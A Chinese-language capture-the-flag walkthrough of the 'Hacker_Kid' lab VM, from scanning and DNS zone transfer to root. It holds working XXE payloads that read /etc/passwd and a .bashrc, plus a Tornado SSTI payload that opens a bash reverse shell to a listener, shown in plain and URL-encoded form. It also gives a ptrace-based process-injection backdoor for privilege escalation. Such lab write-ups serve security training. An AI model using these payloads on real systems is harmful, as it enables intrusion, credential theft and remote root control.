Hacker_Kid

0x01 主机发现

1
sudo arp-scan -l

0x02 端口扫描

1
sudo nmap -p- 10.0.2.10

0x03 服务识别

1
sudo nmap -p53,80,9999 -sV 10.0.2.10

可以看到53端口开放的服务是 domain,版本是BIND 9,这是一款DNS服务器,就是用来把域名解析到IP的。默认是开启53端口的TCP(用于同步记录)和UDP(用于解析域名)的,探测下UDP是否开启。

1
sudo nmap -p53 -sU 10.0.2.10

0x04 Web页面探测

访问开放的web服务

各个标签点击后并无响应请求,右键查看源代码看到有注释的信息。

提示我们用 GET 请求参数 page_no 去访问页面,但参数值范围不清楚,拿bp爆破下试试。

可以看到 page_no 为21时响应不同,访问试试

页面下面多了一行红色小字,提示有子域名存在后门漏洞,例如 hackers.blackhat.local 。那就先添加下本地域名解析。

1
2
3
4
vi /etc/hosts
#添加内容如下
10.0.2.10 blackhat.local
10.0.2.10 hackers.blackhat.local

0x05 DNS区域传输

访问 hackers.blackhat.local 试试

提示信息一直说 DIG me more。补充下,DIG工具是Linux上用于查询DNS解析记录的,而刚才服务识别也发现了 53 端口开放着 DNS 服务器,那就来 DIG 一下吧。

可以看到查询到了更多的域名解析记录,把相关子域名都加入hosts文件解析。

1
2
3
4
5
6
7
8
vi /etc/hosts
#添加内容如下
10.0.2.10 hackers.blackhat.local
10.0.2.10 blackhat.local
10.0.2.10 hackerkid.blackhat.local
10.0.2.10 ns1.blackhat.local
10.0.2.10 mail.blackhat.local
10.0.2.10 hacker.blackhat.local.blackhat.local

前面扫描端口时开放了 80 和 9999 端口,那就对新增的这几个子域名逐个访问,发现了一个登录页,一个注册页,但显然不是同一个功能。

0x06 XXE注入攻击 & PHP封装器

现在我们啥没有,直接注册试试。发现响应信息有这么个特点,无论输入什么,都提示邮箱不合法,并把邮箱信息打印出来。而且数据传输格式是 xml。这就想起了 XXE 漏洞,猜测后台就是解析用户 xml 信息并打印邮箱信息。

XXE 测试,注入点是邮箱信息

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<email>&xxe;</email>
</root>

可以看到有个 saket 用户有 bash权限,那就尝试用 XXE 读取 saket 相关的文件。尝试读取默认的SSH公私钥文件(.ssh/authorized_keys),无果。多番尝试后读取了目录下的 .bashrc 文件,读取过程中需要 base64 编码将文件信息带出,可能是系统默认识别为执行代码,编码带出则为文本。

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<email>&xxe;</email>
</root>

0x07 SSTI模板注入

解码后的文件中有个账号密码,还记得我们之前有个登录页面吗,尝试登录,失败!!!

观察了一下,这密码是 Saket!#$%@!! ,那对应的账号会不会是 saket 而不是 admin,成功登录!!!

看到登录后的页面通过获取 GET 传入的 name 参数,直接显示在页面上,会不会存在 SSTI 模板注入漏洞。现在各种开发语言如:JAVA(velocity 模板等)、PHP(Smarty 模板等)、Python(Tornado 模板等),都存在后端进行前端模板渲染,这期间如果没做过滤,就可能存在对应模板的任意表达式执行。

根据前面 nmap 服务识别可知,服务端用的是 Tornado 模板,先尝试用通用渲染方式探测是否存在漏洞

1
{{1+abcxyz}}${1+abcxyz}%3C%1+abcxyz%%3E[abcxyz]

看到报错,说明确实解析到了,存在漏洞

测试解析占位符格式,哪种形式的参数被解析

1
${7*7},{{7*7}}

可以看到第二种解析形式被成功解析,则注入表达式要在两重括号内。表达式的敏感字符默认会被过滤,需要对 **{ %**,做URL编码,详细编码如下:

1
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.4/4444 0>&1"')}}  #表达式内容作编码

把需要被表达式解析的{}、()、%、空格、’’、””全部做 url 编码,相关参数的 . 符号就不用

1
%7b%25%20import%20os%20%25%7d%7b%7bos.system%28%27bash%20-c%20%22bash%20-i%20%3e%26 %2fdev%2ftcp%2f10.0.2.4%2f4444%200%3e%261%22%27%29%7d%7d

拿到了 saket 账户的 shell,还需要一波提权。

0x08 Capabilitie提权

把寻常的提权方式试一遍:

  1. unam -a 内核提权
  2. sudo -l 查看是否有 sudo 权限配置不当
  3. 是否有 suid、sgid 设置不当的文件

都没有找到,实在头大。秉着绝大多数提权都是权限相关的操作管理不当,继续找权限配置相关的操作,想到了 Capabilitie 这个 Linux下的权限管理机制。

Capabilitie 是从Linux 内核2.2开始引入的,简单来说就是更细致的权限划分,比如 Wireshark 抓包,并非赋予整个程序抓取底包的权限,而是单独把抓取网络原始数据的能力赋予 Wireshark 进程。

1
setcap cap_net_raw,cap_net_admim=eip /usr/bin/dumpcap  #赋予 cap_net_raw、cap_net_admim能力
1
#详细可参考:https://man7.org/linux/man-pages/man7/capabilities.7.html

秉着这个思路,看是否有 Capabilitie 配置不当的权限。查看当前 Capabilitie 配置

1
/sbin/getcap -r / 2>/dev/null #递归查询

可以看到 python2 有 cap_sys_ptrace+ep 权限点,这个是一个调试程序相关的权限,这种涉及底层的权限大多是高权限,则可以利用 python2 的注入来实现提权。先查看以 root 运行的程序:

1
ps -U root  #随便选个 root 程序,这里选了apache服务,线程号801

注入脚本 inject.py,参考如下:

1
https://www.cnblogs.com/zlgxzswjy/p/15185591.html

执行注入脚本,会把后门注入到801这个服务中,然后默认开启5600服务,以供远程连接:

1
python2.7 inject.py 801   #注入后门

远程连接后门:

1
nc 10.0.2.10 5600  #远程连接